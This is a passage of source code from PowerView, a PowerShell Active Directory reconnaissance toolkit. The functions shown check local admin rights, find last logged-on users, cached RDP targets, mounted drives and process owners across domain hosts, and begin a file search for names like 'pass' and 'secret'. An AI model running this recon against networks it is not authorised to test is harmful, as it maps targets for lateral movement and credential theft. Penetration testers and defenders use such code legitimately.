$(([ComponentModel.Win32Exception] $LastError2).Message)" 15343 } 15344 else { 15345 $Offset2 = $ppBuffer.ToInt64() 15346 $NewIntPtr2 = New-Object System.Intptr -ArgumentList $Offset2 15347 $Info2 = $NewIntPtr2 -as $WTS_CLIENT_ADDRESS 15348 15349 $SourceIP = $Info2.Address 15350 if ($SourceIP[2] -ne 0) { 15351 $SourceIP = [String]$SourceIP[2]+'.'+[String]$SourceIP[3]+'.'+[String]$SourceIP[4]+'.'+[String]$SourceIP[5] 15352 } 15353 else { 15354 $SourceIP = $Null 15355 } 15356 15357 $RDPSession | Add-Member Noteproperty 'SourceIP' $SourceIP 15358 $RDPSession.PSObject.TypeNames.Insert(0, 'PowerView.RDPSessionInfo') 15359 $RDPSession 15360 15361 # free up the memory buffer 15362 $Null = $Wtsapi32::WTSFreeMemory($ppBuffer) 15363 15364 $Offset += $Increment 15365 } 15366 } 15367 # free up the memory result buffer 15368 $Null = $Wtsapi32::WTSFreeMemoryEx(2, $ppSessionInfo, $pCount) 15369 } 15370 else { 15371 Write-Verbose "[Get-NetRDPSession] Error: $(([ComponentModel.Win32Exception] $LastError).Message)" 15372 } 15373 # close off the service handle 15374 $Null = $Wtsapi32::WTSCloseServer($Handle) 15375 } 15376 else { 15377 Write-Verbose "[Get-NetRDPSession] Error opening the Remote Desktop Session Host (RD Session Host) server for: $ComputerName" 15378 } 15379 } 15380 } 15381 15382 END { 15383 if ($LogonToken) { 15384 Invoke-RevertToSelf -TokenHandle $LogonToken 15385 } 15386 } 15387 } 15388 15389 15390 function Test-AdminAccess { 15391 <# 15392 .SYNOPSIS 15393 15394 Tests if the current user has administrative access to the local (or a remote) machine. 15395 15396 Idea stolen from the local_admin_search_enum post module in Metasploit written by: 15397 'Brandon McCann "zeknox" <bmccann[at]accuvant.com>' 15398 'Thomas McCarthy "smilingraccoon" <smilingraccoon[at]gmail.com>' 15399 'Royce Davis "r3dy" <rdavis[at]accuvant.com>' 15400 15401 Author: Will Schroeder (@harmj0y) 15402 License: BSD 3-Clause 15403 Required Dependencies: PSReflect, Invoke-UserImpersonation, Invoke-RevertToSelf 15404 15405 .DESCRIPTION 15406 15407 This function will use the OpenSCManagerW Win32API call to establish 15408 a handle to the remote host. If this succeeds, the current user context 15409 has local administrator acess to the target. 15410 15411 .PARAMETER ComputerName 15412 15413 Specifies the hostname to check for local admin access (also accepts IP addresses). 15414 Defaults to 'localhost'. 15415 15416 .PARAMETER Credential 15417 15418 A [Management.Automation.PSCredential] object of alternate credentials 15419 for connection to the remote system using Invoke-UserImpersonation. 15420 15421 .EXAMPLE 15422 15423 Test-AdminAccess -ComputerName sqlserver 15424 15425 Returns results indicating whether the current user has admin access to the 'sqlserver' host. 15426 15427 .EXAMPLE 15428 15429 Get-DomainComputer | Test-AdminAccess 15430 15431 Returns what machines in the domain the current user has access to. 15432 15433 .EXAMPLE 15434 15435 $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force 15436 $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) 15437 Test-AdminAccess -ComputerName sqlserver -Credential $Cred 15438 15439 .OUTPUTS 15440 15441 PowerView.AdminAccess 15442 15443 A PSCustomObject containing the ComputerName and 'IsAdmin' set to whether 15444 the current user has local admin rights, along with the ComputerName added. 15445 15446 .LINK 15447 15448 https://github.com/rapid7/metasploit-framework/blob/master/modules/post/windows/gather/local_admin_search_enum.rb 15449 http://www.powershellmagazine.com/2014/09/25/easily-defining-enums-structs-and-win32-functions-in-memory/ 15450 #> 15451 15452 [OutputType('PowerView.AdminAccess')] 15453 [CmdletBinding()] 15454 Param( 15455 [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] 15456 [Alias('HostName', 'dnshostname', 'name')] 15457 [ValidateNotNullOrEmpty()] 15458 [String[]] 15459 $ComputerName = 'localhost', 15460 15461 [Management.Automation.PSCredential] 15462 [Management.Automation.CredentialAttribute()] 15463 $Credential = [Management.Automation.PSCredential]::Empty 15464 ) 15465 15466 BEGIN { 15467 if ($PSBoundParameters['Credential']) { 15468 $LogonToken = Invoke-UserImpersonation -Credential $Credential 15469 } 15470 } 15471 15472 PROCESS { 15473 ForEach ($Computer in $ComputerName) { 15474 # 0xF003F - SC_MANAGER_ALL_ACCESS 15475 # http://msdn.microsoft.com/en-us/library/windows/desktop/ms685981(v=vs.85).aspx 15476 $Handle = $Advapi32::OpenSCManagerW("\\$Computer", 'ServicesActive', 0xF003F);$LastError = [Runtime.InteropServices.Marshal]::GetLastWin32Error() 15477 15478 $IsAdmin = New-Object PSObject 15479 $IsAdmin | Add-Member Noteproperty 'ComputerName' $Computer 15480 15481 # if we get a non-zero handle back, everything was successful 15482 if ($Handle -ne 0) { 15483 $Null = $Advapi32::CloseServiceHandle($Handle) 15484 $IsAdmin | Add-Member Noteproperty 'IsAdmin' $True 15485 } 15486 else { 15487 Write-Verbose "[Test-AdminAccess] Error: $(([ComponentModel.Win32Exception] $LastError).Message)" 15488 $IsAdmin | Add-Member Noteproperty 'IsAdmin' $False 15489 } 15490 $IsAdmin.PSObject.TypeNames.Insert(0, 'PowerView.AdminAccess') 15491 $IsAdmin 15492 } 15493 } 15494 15495 END { 15496 if ($LogonToken) { 15497 Invoke-RevertToSelf -TokenHandle $LogonToken 15498 } 15499 } 15500 } 15501 15502 15503 function Get-NetComputerSiteName { 15504 <# 15505 .SYNOPSIS 15506 15507 Returns the AD site where the local (or a remote) machine resides. 15508 15509 Author: Will Schroeder (@harmj0y) 15510 License: BSD 3-Clause 15511 Required Dependencies: PSReflect, Invoke-UserImpersonation, Invoke-RevertToSelf 15512 15513 .DESCRIPTION 15514 15515 This function will use the DsGetSiteName Win32API call to look up the 15516 name of the site where a specified computer resides. 15517 15518 .PARAMETER ComputerName 15519 15520 Specifies the hostname to check the site for (also accepts IP addresses). 15521 Defaults to 'localhost'. 15522 15523 .PARAMETER Credential 15524 15525 A [Management.Automation.PSCredential] object of alternate credentials 15526 for connection to the remote system using Invoke-UserImpersonation. 15527 15528 .EXAMPLE 15529 15530 Get-NetComputerSiteName -ComputerName WINDOWS1.testlab.local 15531 15532 Returns the site for WINDOWS1.testlab.local. 15533 15534 .EXAMPLE 15535 15536 Get-DomainComputer | Get-NetComputerSiteName 15537 15538 Returns the sites for every machine in AD. 15539 15540 .EXAMPLE 15541 15542 $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force 15543 $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) 15544 Get-NetComputerSiteName -ComputerName WINDOWS1.testlab.local -Credential $Cred 15545 15546 .OUTPUTS 15547 15548 PowerView.ComputerSite 15549 15550 A PSCustomObject containing the ComputerName, IPAddress, and associated Site name. 15551 #> 15552 15553 [OutputType('PowerView.ComputerSite')] 15554 [CmdletBinding()] 15555 Param( 15556 [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] 15557 [Alias('HostName', 'dnshostname', 'name')] 15558 [ValidateNotNullOrEmpty()] 15559 [String[]] 15560 $ComputerName = 'localhost', 15561 15562 [Management.Automation.PSCredential] 15563 [Management.Automation.CredentialAttribute()] 15564 $Credential = [Management.Automation.PSCredential]::Empty 15565 ) 15566 15567 BEGIN { 15568 if ($PSBoundParameters['Credential']) { 15569 $LogonToken = Invoke-UserImpersonation -Credential $Credential 15570 } 15571 } 15572 15573 PROCESS { 15574 ForEach ($Computer in $ComputerName) { 15575 # if we get an IP address, try to resolve the IP to a hostname 15576 if ($Computer -match '^(?:[0-9]{1,3}\.){3}[0-9]{1,3}$') { 15577 $IPAddress = $Computer 15578 $Computer = [System.Net.Dns]::GetHostByAddress($Computer) | Select-Object -ExpandProperty HostName 15579 } 15580 else { 15581 $IPAddress = @(Resolve-IPAddress -ComputerName $Computer)[0].IPAddress 15582 } 15583 15584 $PtrInfo = [IntPtr]::Zero 15585 15586 $Result = $Netapi32::DsGetSiteName($Computer, [ref]$PtrInfo) 15587 15588 $ComputerSite = New-Object PSObject 15589 $ComputerSite | Add-Member Noteproperty 'ComputerName' $Computer 15590 $ComputerSite | Add-Member Noteproperty 'IPAddress' $IPAddress 15591 15592 if ($Result -eq 0) { 15593 $Sitename = [System.Runtime.InteropServices.Marshal]::PtrToStringAuto($PtrInfo) 15594 $ComputerSite | Add-Member Noteproperty 'SiteName' $Sitename 15595 } 15596 else { 15597 Write-Verbose "[Get-NetComputerSiteName] Error: $(([ComponentModel.Win32Exception] $Result).Message)" 15598 $ComputerSite | Add-Member Noteproperty 'SiteName' '' 15599 } 15600 $ComputerSite.PSObject.TypeNames.Insert(0, 'PowerView.ComputerSite') 15601 15602 # free up the result buffer 15603 $Null = $Netapi32::NetApiBufferFree($PtrInfo) 15604 15605 $ComputerSite 15606 } 15607 } 15608 15609 END { 15610 if ($LogonToken) { 15611 Invoke-RevertToSelf -TokenHandle $LogonToken 15612 } 15613 } 15614 } 15615 15616 15617 function Get-WMIRegProxy { 15618 <# 15619 .SYNOPSIS 15620 15621 Enumerates the proxy server and WPAD conents for the current user. 15622 15623 Author: Will Schroeder (@harmj0y) 15624 License: BSD 3-Clause 15625 Required Dependencies: None 15626 15627 .DESCRIPTION 15628 15629 Enumerates the proxy server and WPAD specification for the current user 15630 on the local machine (default), or a machine specified with -ComputerName. 15631 It does this by enumerating settings from 15632 HKU:SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings. 15633 15634 .PARAMETER ComputerName 15635 15636 Specifies the system to enumerate proxy settings on. Defaults to the local host. 15637 15638 .PARAMETER Credential 15639 15640 A [Management.Automation.PSCredential] object of alternate credentials 15641 for connecting to the remote system. 15642 15643 .EXAMPLE 15644 15645 Get-WMIRegProxy 15646 15647 ComputerName ProxyServer AutoConfigURL Wpad 15648 ------------ ----------- ------------- ---- 15649 WINDOWS1 http://primary.test... 15650 15651 .EXAMPLE 15652 15653 $Cred = Get-Credential "TESTLAB\administrator" 15654 Get-WMIRegProxy -Credential $Cred -ComputerName primary.testlab.local 15655 15656 ComputerName ProxyServer AutoConfigURL Wpad 15657 ------------ ----------- ------------- ---- 15658 windows1.testlab.local primary.testlab.local 15659 15660 .INPUTS 15661 15662 String 15663 15664 Accepts one or more computer name specification strings on the pipeline (netbios or FQDN). 15665 15666 .OUTPUTS 15667 15668 PowerView.ProxySettings 15669 15670 Outputs custom PSObjects with the ComputerName, ProxyServer, AutoConfigURL, and WPAD contents. 15671 #> 15672 15673 [OutputType('PowerView.ProxySettings')] 15674 [CmdletBinding()] 15675 Param( 15676 [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] 15677 [Alias('HostName', 'dnshostname', 'name')] 15678 [ValidateNotNullOrEmpty()] 15679 [String[]] 15680 $ComputerName = $Env:COMPUTERNAME, 15681 15682 [Management.Automation.PSCredential] 15683 [Management.Automation.CredentialAttribute()] 15684 $Credential = [Management.Automation.PSCredential]::Empty 15685 ) 15686 15687 PROCESS { 15688 ForEach ($Computer in $ComputerName) { 15689 try { 15690 $WmiArguments = @{ 15691 'List' = $True 15692 'Class' = 'StdRegProv' 15693 'Namespace' = 'root\default' 15694 'Computername' = $Computer 15695 'ErrorAction' = 'Stop' 15696 } 15697 if ($PSBoundParameters['Credential']) { $WmiArguments['Credential'] = $Credential } 15698 15699 $RegProvider = Get-WmiObject @WmiArguments 15700 $Key = 'SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings' 15701 15702 # HKEY_CURRENT_USER 15703 $HKCU = 2147483649 15704 $ProxyServer = $RegProvider.GetStringValue($HKCU, $Key, 'ProxyServer').sValue 15705 $AutoConfigURL = $RegProvider.GetStringValue($HKCU, $Key, 'AutoConfigURL').sValue 15706 15707 $Wpad = '' 15708 if ($AutoConfigURL -and ($AutoConfigURL -ne '')) { 15709 try { 15710 $Wpad = (New-Object Net.WebClient).DownloadString($AutoConfigURL) 15711 } 15712 catch { 15713 Write-Warning "[Get-WMIRegProxy] Error connecting to AutoConfigURL : $AutoConfigURL" 15714 } 15715 } 15716 15717 if ($ProxyServer -or $AutoConfigUrl) { 15718 $Out = New-Object PSObject 15719 $Out | Add-Member Noteproperty 'ComputerName' $Computer 15720 $Out | Add-Member Noteproperty 'ProxyServer' $ProxyServer 15721 $Out | Add-Member Noteproperty 'AutoConfigURL' $AutoConfigURL 15722 $Out | Add-Member Noteproperty 'Wpad' $Wpad 15723 $Out.PSObject.TypeNames.Insert(0, 'PowerView.ProxySettings') 15724 $Out 15725 } 15726 else { 15727 Write-Warning "[Get-WMIRegProxy] No proxy settings found for $ComputerName" 15728 } 15729 } 15730 catch { 15731 Write-Warning "[Get-WMIRegProxy] Error enumerating proxy settings for $ComputerName : $_" 15732 } 15733 } 15734 } 15735 } 15736 15737 15738 function Get-WMIRegLastLoggedOn { 15739 <# 15740 .SYNOPSIS 15741 15742 Returns the last user who logged onto the local (or a remote) machine. 15743 15744 Note: This function requires administrative rights on the machine you're enumerating. 15745 15746 Author: Will Schroeder (@harmj0y) 15747 License: BSD 3-Clause 15748 Required Dependencies: None 15749 15750 .DESCRIPTION 15751 15752 This function uses remote registry to enumerate the LastLoggedOnUser registry key 15753 for the local (or remote) machine. 15754 15755 .PARAMETER ComputerName 15756 15757 Specifies the hostname to query for remote registry values (also accepts IP addresses). 15758 Defaults to 'localhost'. 15759 15760 .PARAMETER Credential 15761 15762 A [Management.Automation.PSCredential] object of alternate credentials 15763 for connecting to the remote system. 15764 15765 .EXAMPLE 15766 15767 Get-WMIRegLastLoggedOn 15768 15769 Returns the last user logged onto the local machine. 15770 15771 .EXAMPLE 15772 15773 Get-WMIRegLastLoggedOn -ComputerName WINDOWS1 15774 15775 Returns the last user logged onto WINDOWS1 15776 15777 .EXAMPLE 15778 15779 Get-DomainComputer | Get-WMIRegLastLoggedOn 15780 15781 Returns the last user logged onto all machines in the domain. 15782 15783 .EXAMPLE 15784 15785 $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force 15786 $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) 15787 Get-WMIRegLastLoggedOn -ComputerName PRIMARY.testlab.local -Credential $Cred 15788 15789 .OUTPUTS 15790 15791 PowerView.LastLoggedOnUser 15792 15793 A PSCustomObject containing the ComputerName and last loggedon user. 15794 #> 15795 15796 [OutputType('PowerView.LastLoggedOnUser')] 15797 [CmdletBinding()] 15798 Param( 15799 [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] 15800 [Alias('HostName', 'dnshostname', 'name')] 15801 [ValidateNotNullOrEmpty()] 15802 [String[]] 15803 $ComputerName = 'localhost', 15804 15805 [Management.Automation.PSCredential] 15806 [Management.Automation.CredentialAttribute()] 15807 $Credential = [Management.Automation.PSCredential]::Empty 15808 ) 15809 15810 PROCESS { 15811 ForEach ($Computer in $ComputerName) { 15812 # HKEY_LOCAL_MACHINE 15813 $HKLM = 2147483650 15814 15815 $WmiArguments = @{ 15816 'List' = $True 15817 'Class' = 'StdRegProv' 15818 'Namespace' = 'root\default' 15819 'Computername' = $Computer 15820 'ErrorAction' = 'SilentlyContinue' 15821 } 15822 if ($PSBoundParameters['Credential']) { $WmiArguments['Credential'] = $Credential } 15823 15824 # try to open up the remote registry key to grab the last logged on user 15825 try { 15826 $Reg = Get-WmiObject @WmiArguments 15827 15828 $Key = 'SOFTWARE\Microsoft\Windows\CurrentVersion\Authentication\LogonUI' 15829 $Value = 'LastLoggedOnUser' 15830 $LastUser = $Reg.GetStringValue($HKLM, $Key, $Value).sValue 15831 15832 $LastLoggedOn = New-Object PSObject 15833 $LastLoggedOn | Add-Member Noteproperty 'ComputerName' $Computer 15834 $LastLoggedOn | Add-Member Noteproperty 'LastLoggedOn' $LastUser 15835 $LastLoggedOn.PSObject.TypeNames.Insert(0, 'PowerView.LastLoggedOnUser') 15836 $LastLoggedOn 15837 } 15838 catch { 15839 Write-Warning "[Get-WMIRegLastLoggedOn] Error opening remote registry on $Computer. Remote registry likely not enabled." 15840 } 15841 } 15842 } 15843 } 15844 15845 15846 function Get-WMIRegCachedRDPConnection { 15847 <# 15848 .SYNOPSIS 15849 15850 Returns information about RDP connections outgoing from the local (or remote) machine. 15851 15852 Note: This function requires administrative rights on the machine you're enumerating. 15853 15854 Author: Will Schroeder (@harmj0y) 15855 License: BSD 3-Clause 15856 Required Dependencies: ConvertFrom-SID 15857 15858 .DESCRIPTION 15859 15860 Uses remote registry functionality to query all entries for the 15861 "Windows Remote Desktop Connection Client" on a machine, separated by 15862 user and target server. 15863 15864 .PARAMETER ComputerName 15865 15866 Specifies the hostname to query for cached RDP connections (also accepts IP addresses). 15867 Defaults to 'localhost'. 15868 15869 .PARAMETER Credential 15870 15871 A [Management.Automation.PSCredential] object of alternate credentials 15872 for connecting to the remote system. 15873 15874 .EXAMPLE 15875 15876 Get-WMIRegCachedRDPConnection 15877 15878 Returns the RDP connection client information for the local machine. 15879 15880 .EXAMPLE 15881 15882 Get-WMIRegCachedRDPConnection -ComputerName WINDOWS2.testlab.local 15883 15884 Returns the RDP connection client information for the WINDOWS2.testlab.local machine 15885 15886 .EXAMPLE 15887 15888 Get-DomainComputer | Get-WMIRegCachedRDPConnection 15889 15890 Returns cached RDP information for all machines in the domain. 15891 15892 .EXAMPLE 15893 15894 $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force 15895 $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) 15896 Get-WMIRegCachedRDPConnection -ComputerName PRIMARY.testlab.local -Credential $Cred 15897 15898 .OUTPUTS 15899 15900 PowerView.CachedRDPConnection 15901 15902 A PSCustomObject containing the ComputerName and cached RDP information. 15903 #> 15904 15905 [OutputType('PowerView.CachedRDPConnection')] 15906 [CmdletBinding()] 15907 Param( 15908 [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] 15909 [Alias('HostName', 'dnshostname', 'name')] 15910 [ValidateNotNullOrEmpty()] 15911 [String[]] 15912 $ComputerName = 'localhost', 15913 15914 [Management.Automation.PSCredential] 15915 [Management.Automation.CredentialAttribute()] 15916 $Credential = [Management.Automation.PSCredential]::Empty 15917 ) 15918 15919 PROCESS { 15920 ForEach ($Computer in $ComputerName) { 15921 # HKEY_USERS 15922 $HKU = 2147483651 15923 15924 $WmiArguments = @{ 15925 'List' = $True 15926 'Class' = 'StdRegProv' 15927 'Namespace' = 'root\default' 15928 'Computername' = $Computer 15929 'ErrorAction' = 'Stop' 15930 } 15931 if ($PSBoundParameters['Credential']) { $WmiArguments['Credential'] = $Credential } 15932 15933 try { 15934 $Reg = Get-WmiObject @WmiArguments 15935 15936 # extract out the SIDs of domain users in this hive 15937 $UserSIDs = ($Reg.EnumKey($HKU, '')).sNames | Where-Object { $_ -match 'S-1-5-21-[0-9]+-[0-9]+-[0-9]+-[0-9]+$' } 15938 15939 ForEach ($UserSID in $UserSIDs) { 15940 try { 15941 if ($PSBoundParameters['Credential']) { 15942 $UserName = ConvertFrom-SID -ObjectSid $UserSID -Credential $Credential 15943 } 15944 else { 15945 $UserName = ConvertFrom-SID -ObjectSid $UserSID 15946 } 15947 15948 # pull out all the cached RDP connections 15949 $ConnectionKeys = $Reg.EnumValues($HKU,"$UserSID\Software\Microsoft\Terminal Server Client\Default").sNames 15950 15951 ForEach ($Connection in $ConnectionKeys) { 15952 # make sure this key is a cached connection 15953 if ($Connection -match 'MRU.*') { 15954 $TargetServer = $Reg.GetStringValue($HKU, "$UserSID\Software\Microsoft\Terminal Server Client\Default", $Connection).sValue 15955 15956 $FoundConnection = New-Object PSObject 15957 $FoundConnection | Add-Member Noteproperty 'ComputerName' $Computer 15958 $FoundConnection | Add-Member Noteproperty 'UserName' $UserName 15959 $FoundConnection | Add-Member Noteproperty 'UserSID' $UserSID 15960 $FoundConnection | Add-Member Noteproperty 'TargetServer' $TargetServer 15961 $FoundConnection | Add-Member Noteproperty 'UsernameHint' $Null 15962 $FoundConnection.PSObject.TypeNames.Insert(0, 'PowerView.CachedRDPConnection') 15963 $FoundConnection 15964 } 15965 } 15966 15967 # pull out all the cached server info with username hints 15968 $ServerKeys = $Reg.EnumKey($HKU,"$UserSID\Software\Microsoft\Terminal Server Client\Servers").sNames 15969 15970 ForEach ($Server in $ServerKeys) { 15971 15972 $UsernameHint = $Reg.GetStringValue($HKU, "$UserSID\Software\Microsoft\Terminal Server Client\Servers\$Server", 'UsernameHint').sValue 15973 15974 $FoundConnection = New-Object PSObject 15975 $FoundConnection | Add-Member Noteproperty 'ComputerName' $Computer 15976 $FoundConnection | Add-Member Noteproperty 'UserName' $UserName 15977 $FoundConnection | Add-Member Noteproperty 'UserSID' $UserSID 15978 $FoundConnection | Add-Member Noteproperty 'TargetServer' $Server 15979 $FoundConnection | Add-Member Noteproperty 'UsernameHint' $UsernameHint 15980 $FoundConnection.PSObject.TypeNames.Insert(0, 'PowerView.CachedRDPConnection') 15981 $FoundConnection 15982 } 15983 } 15984 catch { 15985 Write-Verbose "[Get-WMIRegCachedRDPConnection] Error: $_" 15986 } 15987 } 15988 } 15989 catch { 15990 Write-Warning "[Get-WMIRegCachedRDPConnection] Error accessing $Computer, likely insufficient permissions or firewall rules on host: $_" 15991 } 15992 } 15993 } 15994 } 15995 15996 15997 function Get-WMIRegMountedDrive { 15998 <# 15999 .SYNOPSIS 16000 16001 Returns information about saved network mounted drives for the local (or remote) machine. 16002 16003 Note: This function requires administrative rights on the machine you're enumerating. 16004 16005 Author: Will Schroeder (@harmj0y) 16006 License: BSD 3-Clause 16007 Required Dependencies: ConvertFrom-SID 16008 16009 .DESCRIPTION 16010 16011 Uses remote registry functionality to enumerate recently mounted network drives. 16012 16013 .PARAMETER ComputerName 16014 16015 Specifies the hostname to query for mounted drive information (also accepts IP addresses). 16016 Defaults to 'localhost'. 16017 16018 .PARAMETER Credential 16019 16020 A [Management.Automation.PSCredential] object of alternate credentials 16021 for connecting to the remote system. 16022 16023 .EXAMPLE 16024 16025 Get-WMIRegMountedDrive 16026 16027 Returns the saved network mounted drives for the local machine. 16028 16029 .EXAMPLE 16030 16031 Get-WMIRegMountedDrive -ComputerName WINDOWS2.testlab.local 16032 16033 Returns the saved network mounted drives for the WINDOWS2.testlab.local machine 16034 16035 .EXAMPLE 16036 16037 Get-DomainComputer | Get-WMIRegMountedDrive 16038 16039 Returns the saved network mounted drives for all machines in the domain. 16040 16041 .EXAMPLE 16042 16043 $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force 16044 $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) 16045 Get-WMIRegMountedDrive -ComputerName PRIMARY.testlab.local -Credential $Cred 16046 16047 .OUTPUTS 16048 16049 PowerView.RegMountedDrive 16050 16051 A PSCustomObject containing the ComputerName and mounted drive information. 16052 #> 16053 16054 [OutputType('PowerView.RegMountedDrive')] 16055 [CmdletBinding()] 16056 Param( 16057 [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] 16058 [Alias('HostName', 'dnshostname', 'name')] 16059 [ValidateNotNullOrEmpty()] 16060 [String[]] 16061 $ComputerName = 'localhost', 16062 16063 [Management.Automation.PSCredential] 16064 [Management.Automation.CredentialAttribute()] 16065 $Credential = [Management.Automation.PSCredential]::Empty 16066 ) 16067 16068 PROCESS { 16069 ForEach ($Computer in $ComputerName) { 16070 # HKEY_USERS 16071 $HKU = 2147483651 16072 16073 $WmiArguments = @{ 16074 'List' = $True 16075 'Class' = 'StdRegProv' 16076 'Namespace' = 'root\default' 16077 'Computername' = $Computer 16078 'ErrorAction' = 'Stop' 16079 } 16080 if ($PSBoundParameters['Credential']) { $WmiArguments['Credential'] = $Credential } 16081 16082 try { 16083 $Reg = Get-WmiObject @WmiArguments 16084 16085 # extract out the SIDs of domain users in this hive 16086 $UserSIDs = ($Reg.EnumKey($HKU, '')).sNames | Where-Object { $_ -match 'S-1-5-21-[0-9]+-[0-9]+-[0-9]+-[0-9]+$' } 16087 16088 ForEach ($UserSID in $UserSIDs) { 16089 try { 16090 if ($PSBoundParameters['Credential']) { 16091 $UserName = ConvertFrom-SID -ObjectSid $UserSID -Credential $Credential 16092 } 16093 else { 16094 $UserName = ConvertFrom-SID -ObjectSid $UserSID 16095 } 16096 16097 $DriveLetters = ($Reg.EnumKey($HKU, "$UserSID\Network")).sNames 16098 16099 ForEach ($DriveLetter in $DriveLetters) { 16100 $ProviderName = $Reg.GetStringValue($HKU, "$UserSID\Network\$DriveLetter", 'ProviderName').sValue 16101 $RemotePath = $Reg.GetStringValue($HKU, "$UserSID\Network\$DriveLetter", 'RemotePath').sValue 16102 $DriveUserName = $Reg.GetStringValue($HKU, "$UserSID\Network\$DriveLetter", 'UserName').sValue 16103 if (-not $UserName) { $UserName = '' } 16104 16105 if ($RemotePath -and ($RemotePath -ne '')) { 16106 $MountedDrive = New-Object PSObject 16107 $MountedDrive | Add-Member Noteproperty 'ComputerName' $Computer 16108 $MountedDrive | Add-Member Noteproperty 'UserName' $UserName 16109 $MountedDrive | Add-Member Noteproperty 'UserSID' $UserSID 16110 $MountedDrive | Add-Member Noteproperty 'DriveLetter' $DriveLetter 16111 $MountedDrive | Add-Member Noteproperty 'ProviderName' $ProviderName 16112 $MountedDrive | Add-Member Noteproperty 'RemotePath' $RemotePath 16113 $MountedDrive | Add-Member Noteproperty 'DriveUserName' $DriveUserName 16114 $MountedDrive.PSObject.TypeNames.Insert(0, 'PowerView.RegMountedDrive') 16115 $MountedDrive 16116 } 16117 } 16118 } 16119 catch { 16120 Write-Verbose "[Get-WMIRegMountedDrive] Error: $_" 16121 } 16122 } 16123 } 16124 catch { 16125 Write-Warning "[Get-WMIRegMountedDrive] Error accessing $Computer, likely insufficient permissions or firewall rules on host: $_" 16126 } 16127 } 16128 } 16129 } 16130 16131 16132 function Get-WMIProcess { 16133 <# 16134 .SYNOPSIS 16135 16136 Returns a list of processes and their owners on the local or remote machine. 16137 16138 Author: Will Schroeder (@harmj0y) 16139 License: BSD 3-Clause 16140 Required Dependencies: None 16141 16142 .DESCRIPTION 16143 16144 Uses Get-WMIObject to enumerate all Win32_process instances on the local or remote machine, 16145 including the owners of the particular process. 16146 16147 .PARAMETER ComputerName 16148 16149 Specifies the hostname to query for cached RDP connections (also accepts IP addresses). 16150 Defaults to 'localhost'. 16151 16152 .PARAMETER Credential 16153 16154 A [Management.Automation.PSCredential] object of alternate credentials 16155 for connection to the remote system. 16156 16157 .EXAMPLE 16158 16159 Get-WMIProcess -ComputerName WINDOWS1 16160 16161 .EXAMPLE 16162 16163 $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force 16164 $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) 16165 Get-WMIProcess -ComputerName PRIMARY.testlab.local -Credential $Cred 16166 16167 .OUTPUTS 16168 16169 PowerView.UserProcess 16170 16171 A PSCustomObject containing the remote process information. 16172 #> 16173 16174 [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] 16175 [OutputType('PowerView.UserProcess')] 16176 [CmdletBinding()] 16177 Param( 16178 [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] 16179 [Alias('HostName', 'dnshostname', 'name')] 16180 [ValidateNotNullOrEmpty()] 16181 [String[]] 16182 $ComputerName = 'localhost', 16183 16184 [Management.Automation.PSCredential] 16185 [Management.Automation.CredentialAttribute()] 16186 $Credential = [Management.Automation.PSCredential]::Empty 16187 ) 16188 16189 PROCESS { 16190 ForEach ($Computer in $ComputerName) { 16191 try { 16192 $WmiArguments = @{ 16193 'ComputerName' = $ComputerName 16194 'Class' = 'Win32_process' 16195 } 16196 if ($PSBoundParameters['Credential']) { $WmiArguments['Credential'] = $Credential } 16197 Get-WMIobject @WmiArguments | ForEach-Object { 16198 $Owner = $_.getowner(); 16199 $Process = New-Object PSObject 16200 $Process | Add-Member Noteproperty 'ComputerName' $Computer 16201 $Process | Add-Member Noteproperty 'ProcessName' $_.ProcessName 16202 $Process | Add-Member Noteproperty 'ProcessID' $_.ProcessID 16203 $Process | Add-Member Noteproperty 'Domain' $Owner.Domain 16204 $Process | Add-Member Noteproperty 'User' $Owner.User 16205 $Process.PSObject.TypeNames.Insert(0, 'PowerView.UserProcess') 16206 $Process 16207 } 16208 } 16209 catch { 16210 Write-Verbose "[Get-WMIProcess] Error enumerating remote processes on '$Computer', access likely denied: $_" 16211 } 16212 } 16213 } 16214 } 16215 16216 16217 function Find-InterestingFile { 16218 <# 16219 .SYNOPSIS 16220 16221 Searches for files on the given path that match a series of specified criteria. 16222 16223 Author: Will Schroeder (@harmj0y) 16224 License: BSD 3-Clause 16225 Required Dependencies: Add-RemoteConnection, Remove-RemoteConnection 16226 16227 .DESCRIPTION 16228 16229 This function recursively searches a given UNC path for files with 16230 specific keywords in the name (default of pass, sensitive, secret, admin, 16231 login and unattend*.xml). By default, hidden files/folders are included 16232 in search results. If -Credential is passed, Add-RemoteConnection/Remove-RemoteConnection 16233 is used to temporarily map the remote share. 16234 16235 .PARAMETER Path 16236 16237 UNC/local path to recursively search. 16238 16239 .PARAMETER Include 16240 16241 Only return files/folders that match the specified array of strings, 16242 i.e. @(*.doc*, *.xls*, *.ppt*) 16243 16244 .PARAMETER LastAccessTime 16245 16246 Only return files with a LastAccessTime greater than this date value. 16247 16248 .PARAMETER LastWriteTime 16249 16250 Only return files with a LastWriteTime greater than this date value. 16251 16252 .PARAMETER CreationTime 16253 16254 Only return files with a CreationTime greater than this date value. 16255 16256 .PARAMETER OfficeDocs 16257 16258 Switch. Search for 